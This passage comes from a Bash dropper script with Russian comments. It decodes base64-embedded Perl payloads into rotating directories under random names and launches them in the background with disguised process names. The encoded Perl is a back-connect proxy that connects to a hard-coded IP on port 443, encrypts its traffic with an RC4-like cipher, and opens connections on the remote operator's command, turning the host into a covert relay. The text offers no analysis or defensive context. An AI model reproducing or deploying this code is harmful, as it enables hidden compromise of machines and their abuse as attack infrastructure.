JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #56 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #56 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 57 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ 